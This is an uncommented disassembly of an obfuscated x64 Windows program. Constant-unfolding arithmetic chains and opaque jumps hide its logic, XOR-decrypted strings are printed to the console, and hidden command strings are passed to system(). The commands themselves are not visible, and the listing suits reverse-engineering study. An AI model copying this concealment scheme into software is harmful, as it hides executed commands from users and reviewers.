mov eax, 0x7a82057f
pushf
not eax
add eax, 0x91359ecf
xor eax, 0xc91c3281
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xdd38b25e
xor eax, 0x9e8976c0
rol eax, 0x81
popf
jmp 0x1400d0df3
movabs rax, 0x33ac78cc5a00839b
pushf
not rax
add rax, 0x646e069d
xor rax, 0x473a0408
rol rax, 0xc
popf
pushf
not rax
add rax, 0x69544b11
xor rax, 0x4914db98
rol rax, 0x5c
popf
pushf
not rax
add rax, 0x4a981738
xor rax, 0x7bd5bfbf
rol rax, 0xc2
popf
mov qword [rsp + 0x30], rax
movabs rax, 0x78929abc9f030814
pushf
not rax
add rax, 0x65e9bb62
xor rax, 0x6b508483
rol rax, 0x50
popf
pushf
not rax
add rax, 0x57314c31
xor rax, 0x690cf5d1
rol rax, 6
popf
pushf
not rax
add rax, 0x44db4983
xor rax, 0x77979623
rol rax, 0x12
popf
pushf
not rax
add rax, 0x60350cbb
xor rax, 0x45375eef
rol rax, 0xbb
popf
mov qword [rsp + 0x38], rax
movabs rax, 0xe0a702831726701
pushf
not rax
add rax, 0x43b136d1
xor rax, 0x5622ef15
rol rax, 0x45
popf
pushf
not rax
add rax, 0x7a3edaf7
xor rax, 0x7dba3146
rol rax, 0x1f
popf
pushf
not rax
add rax, 0x46ab3b19
xor rax, 0x556ecf13
rol rax, 0x53
popf
mov qword [rsp + 0x40], rax
movabs rax, 0x89b77e15daf876c8
pushf
not rax
add rax, 0x4d42c7c5
xor rax, 0x6d9ba210
rol rax, 0x39
popf
pushf
not rax
add rax, 0x6de73b1f
xor rax, 0x46c334a1
rol rax, 0x87
popf
mov qword [rsp + 0x48], rax
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], r14
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], rsi
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rsp + 0x40], xmm1
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b8f2a
mov rbx, rax
jmp 0x1400d5223
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400d522f
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1a3990fa3]
pushf
sub rdx, 0x63988f13
popf
mov rcx, rax
jmp 0x1400d524b
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x78]
call fcn.14011587b
test rax, rax
jne 0x1400d5293
push rax
pushf
mov eax, 0x513d53e4
pushf
not eax
add eax, 0xcf22f731
xor eax, 0xbeb89b25
rol eax, 0x44
popf
pushf
not eax
add eax, 0xe06ec98f
xor eax, 0xaa9bb6f2
rol eax, 0x36
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0xabfab0c6
pushf
not eax
add eax, 0x9f8395bf
xor eax, 0xb4bfb1af
rol eax, 0xc2
popf
pushf
not eax
add eax, 0x9fe82091
xor eax, 0x830ab733
rol eax, 0x17
popf
jmp 0x1400d0df3
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x70]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x1400d52e8
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
push rax
pushf
mov eax, 0xced2c9fc
pushf
not eax
add eax, 0xa7bb4785
xor eax, 0x89c3c2a3
rol eax, 0x75
popf
pushf
not eax
add eax, 0x9e07fe47
xor eax, 0x81d4005e
rol eax, 0x27
popf
pushf
not eax
add eax, 0x8651df91
xor eax, 0x9d6596f4
rol eax, 0xc7
popf
jmp 0x1400d0df3
movabs rax, 0x3c81150559329a03
pushf
not rax
add rax, 0x70ce1808
xor rax, 0x531625cb
rol rax, 0x1e
popf
pushf
not rax
add rax, 0x4bad7dea
xor rax, 0x55a69ae6
rol rax, 0xfe
popf
pushf
not rax
add rax, 0x609fb643
xor rax, 0x5e3ac02b
rol rax, 0x7b
popf
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], r14
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], r14
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x80], xmm0
lea rcx, [rbp + 0x80]
jmp 0x1400d53be
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1400d53c5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r13d, eax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], rdi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
jmp 0x1400d420d
lea rcx, [rsp + 0x78]
call fcn.14011587b
test rax, rax
jne 0x1400d5469
push rax
pushf
mov eax, 0x9befbaca
pushf
not eax
add eax, 0xc8f9d38f
xor eax, 0xc1e0a1b3
rol eax, 0xf4
popf
pushf
not eax
add eax, 0x8bbefc09
xor eax, 0xf6402d5d
rol eax, 0xd
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0xcb5b5da4
pushf
not eax
add eax, 0xef6415ba
xor eax, 0xd81cd756
rol eax, 0xb7
popf
pushf
not eax
add eax, 0x8a1ce9d0
xor eax, 0xe81ed7b8
rol eax, 0x9b
popf
jmp 0x1400d0df3
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x70]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x1400d54be
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
push rax
pushf
mov eax, 0x4bf16856
pushf
not eax
add eax, 0xd9aa415f
xor eax, 0x9d54dd9a
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xc9cec324
xor eax, 0x9ba695af
rol eax, 0xe
popf
pushf
not eax
add eax, 0xb8439e01
xor eax, 0xe12f6673
rol eax, 0x67
popf
jmp 0x1400d0df3
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], rdi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x78]
call fcn.1400ce946
lea rcx, [rbp - 0x80]
jmp 0x1400d553b
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x18]
jmp 0x1400d5546
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
movabs rdi, 0xc5093e59b4721849
pushf
not rdi
add rdi, 0x6be00f39
xor rdi, 0x7d083096
rol rdi, 0x75
popf
pushf
not rdi
add rdi, 0x4d5ceabb
xor rdi, 0x42a23ebd
rol rdi, 0x94
popf
pushf
not rdi
add rdi, 0x6ff11dd5
xor rdi, 0x46a86491
rol rdi, 0x12
popf
pushf
not rdi
add rdi, 0x4c045c77
xor rdi, 0x4b6ac317
rol rdi, 0x43
popf
push rax
pushf
mov eax, 0x6e1a6d1f
pushf
not eax
add eax, 0xd156f8de
xor eax, 0xe0951a40
rol eax, 0xda
popf
pushf
not eax
add eax, 0xecfa2efb
xor eax, 0xb86d8b4c
rol eax, 0x4f
popf
pushf
not eax
add eax, 0x966a12f7
xor eax, 0x904a6db3
rol eax, 0x4c
popf
jmp 0x1400d0df3
movabs rax, 0xea33b978d0da1b40
pushf
not rax
add rax, 0x51407636
xor rax, 0x45777300
rol rax, 0x82
popf
pushf
not rax
add rax, 0x7edd5cd3
xor rax, 0x488c0560
rol rax, 0xc3
popf
pushf
not rax
add rax, 0x4a3db9a7
xor rax, 0x5c2e14f5
rol rax, 0x7b
popf
mov qword [rsp + 0x30], rax
movabs rax, 0xe6bcc8865c1f26d7
pushf
not rax
add rax, 0x4e8475f5
xor rax, 0x47c0b4da
rol rax, 0x99
popf
pushf
not rax
add rax, 0x4c4ced0e
xor rax, 0x5e3defb0
rol rax, 0x82
popf
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], rsi
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], r14
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], rsi
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rsp + 0x40], xmm1
lea rcx, [rsp + 0x30]
call fcn.1400c1ed0
test al, al
jne 0x1400d5722
push rax
pushf
mov eax, 0x1997cba6
pushf
not eax
add eax, 0xd6dc5362
xor eax, 0xd6d1e39b
rol eax, 7
popf
pushf
not eax
add eax, 0x882b1265
xor eax, 0xa579022d
rol eax, 0x45
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0xc6796283
pushf
not eax
add eax, 0xa4c572db
xor eax, 0xcfa47323
rol eax, 0xda
popf
pushf
not eax
add eax, 0xc6e548f2
xor eax, 0xf69de364
rol eax, 0xb8
popf
jmp 0x1400d0df3
movabs rax, 0x2ccb533d59fceca9
pushf
not rax
add rax, 0x714ae62c
xor rax, 0x6e049d77
rol rax, 0xac
popf
pushf
not rax
add rax, 0x785da60f
xor rax, 0x59af018e
rol rax, 0xfd
popf
pushf
not rax
add rax, 0x48c14f3f
xor rax, 0x5ddebc52
rol rax, 0x7a
popf
mov qword [rbp + 0xf0], rax
movabs rax, 0xc03e932984dda140
pushf
not rax
add rax, 0x49f65d69
xor rax, 0x4d19862c
rol rax, 0x15
popf
pushf
not rax
add rax, 0x463a62f5
xor rax, 0x69cbebfd
rol rax, 0x81
popf
pushf
not rax
add rax, 0x602e9ae1
xor rax, 0x5745700b
rol rax, 0x5c
popf
pushf
not rax
add rax, 0x772e9cce
xor rax, 0x6c74266a
rol rax, 0x79
popf
mov qword [rbp + 0xf8], rax
movabs rax, 0x21595e31de863f9a
pushf
not rax
add rax, 0x7b996928
xor rax, 0x6545bff9
rol rax, 0xd0
popf
pushf
not rax
add rax, 0x6c7414e4
xor rax, 0x66b0d56e
rol rax, 0xb6
popf
mov qword [rbp + 0x100], rax
movabs rax, 0xb9d830d2a1ce441a
pushf
not rax
add rax, 0x57728e95
xor rax, 0x4c602c85
rol rax, 2
popf
pushf
not rax
add rax, 0x44526d0c
xor rax, 0x75e4a28d
rol rax, 0x3f
popf
pushf
not rax
add rax, 0x52309fd5
xor rax, 0x5d44c754
rol rax, 0x4e
popf
mov qword [rbp + 0x108], rax
movabs rax, 0xb3e96540da30bdf7
pushf
not rax
add rax, 0x612ce6d6
xor rax, 0x54a842ce
rol rax, 0xb6
popf
pushf
not rax
add rax, 0x66b57363
xor rax, 0x7dd8dce8
rol rax, 0xd8
popf
pushf
not rax
add rax, 0x62f93464
xor rax, 0x628f68fe
rol rax, 0x4c
popf
pushf
not rax
add rax, 0x559a24ee
xor rax, 0x7163a54a
rol rax, 0x85
popf
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdi
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], r14
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], rsi
movabs rcx, 0x59a020685a71beb3
pushf
not rcx
add rcx, 0x6efe1ed7
xor rcx, 0x78853bc7
rol rcx, 0xc2
popf
pushf
not rcx
add rcx, 0x5c4a7222
xor rcx, 0x5072d19b
rol rcx, 0xab
popf
pushf
not rcx
add rcx, 0x715e7a9f
xor rcx, 0x643611bb
rol rcx, 0x5a
popf
mov qword [rbp + 0xc0], rcx
mov qword [rbp + 0xc8], rdi
movdqa xmm0, xmmword [rbp + 0xf0]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xf0], xmm0
movdqa xmm1, xmmword [rbp + 0x100]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0x100], xmm1
movdqa xmm0, xmmword [rbp + 0x110]
xorps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0x110], xmm0
lea rdx, [rbp + 0xf0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400b8f2a
lea rdx, [0x19b646241]
pushf
sub rdx, 0x5b63e1b1
popf
mov rcx, rax
jmp 0x1400d5a0e
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movabs rax, 0xc11a24755cf95fd4
pushf
not rax
add rax, 0x43ba92ac
xor rax, 0x4a7cc3b0
rol rax, 0x4a
popf
pushf
not rax
add rax, 0x41b8ebdb
xor rax, 0x737d7836
rol rax, 0x72
popf
pushf
not rax
add rax, 0x696e45d4
xor rax, 0x4652786c
rol rax, 9
popf
pushf
not rax
add rax, 0x74a502d1
xor rax, 0x4e72f576
rol rax, 0x7f
popf
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], r14
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], r14
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x80], xmm0
lea rcx, [rbp + 0x80]
jmp 0x1400d5ab5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
push rax
pushf
mov eax, 0x8faea60a
pushf
not eax
add eax, 0xc86229a9
xor eax, 0xf94b85d8
rol eax, 0x16
popf
pushf
not eax
add eax, 0xb3a60a63
xor eax, 0xe0713b3d
rol eax, 0xfc
popf
pushf
not eax
add eax, 0xdeebef3b
xor eax, 0x9f42d5d7
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xe97ed6b8
xor eax, 0xd20cadde
rol eax, 0xb2
popf
jmp 0x1400d0df3
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x1400d5b53
push rax
pushf
mov eax, 0xaa8df61e
pushf
not eax
add eax, 0xd848da7a
xor eax, 0xe49796f9
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xb575339a
xor eax, 0xffaaa8ff
rol eax, 0x7f
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0x8e6d07c5
pushf
not eax
add eax, 0xdcffba7e
xor eax, 0x8310ffde
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xe5146bd1
xor eax, 0xc9b04361
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xff43c48b
xor eax, 0xcd32e10f
rol eax, 0x95
popf
jmp 0x1400d0df3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400d5c0b
push rax
pushf
mov eax, 0xd62a0aec
pushf
not eax
add eax, 0xe5c90315
xor eax, 0x836912f6
rol eax, 0x49
popf
pushf
not eax
add eax, 0xa93cea52
xor eax, 0x933a05fd
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xe03bd96c
xor eax, 0xa58c2b61
rol eax, 0x51
popf
pushf
not eax
add eax, 0x9d8d26d8
xor eax, 0xdd3a4a9b
rol eax, 0xa9
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0xbe44d929
pushf
not eax
add eax, 0x9c2f827a
xor eax, 0x99d38f9a
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xc5b4fa07
xor eax, 0xcf62d83f
rol eax, 0xa5
popf
jmp 0x1400d0df3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400d5cac
push rax
pushf
mov eax, 0x6aa4dad8
pushf
not eax
add eax, 0x96d057d0
xor eax, 0xc93f097d
rol eax, 0x25
popf
pushf
not eax
add eax, 0xbcce9e18
xor eax, 0xfb191ae8
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xd11e780d
xor eax, 0x93bfc150
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xa5a6a97a
xor eax, 0xbc57e5e8
rol eax, 0x70
popf
jmp 0x1400d0df3
push rax
pushf
mov eax, 0xde7a54ed
pushf
not eax
add eax, 0x9814e8d5
xor eax, 0x9455965c
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xabab2246
xor eax, 0xd4456864
rol eax, 0x46
popf
jmp 0x1400d0df3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c3e2f
push rax
pushf
mov eax, 0x8e3fdce9
pushf
not eax
add eax, 0x8fc3a171
xor eax, 0xc9fedfb1
rol eax, 6
popf
pushf
not eax
add eax, 0xbecbb429
xor eax, 0x9f84e2e6
rol eax, 0x1c
popf
jmp 0x1400d0df3
mov eax, r13d
jmp 0x1400d1850
call fcn.1400e2bfb
int3
call fcn.1400a2561
int3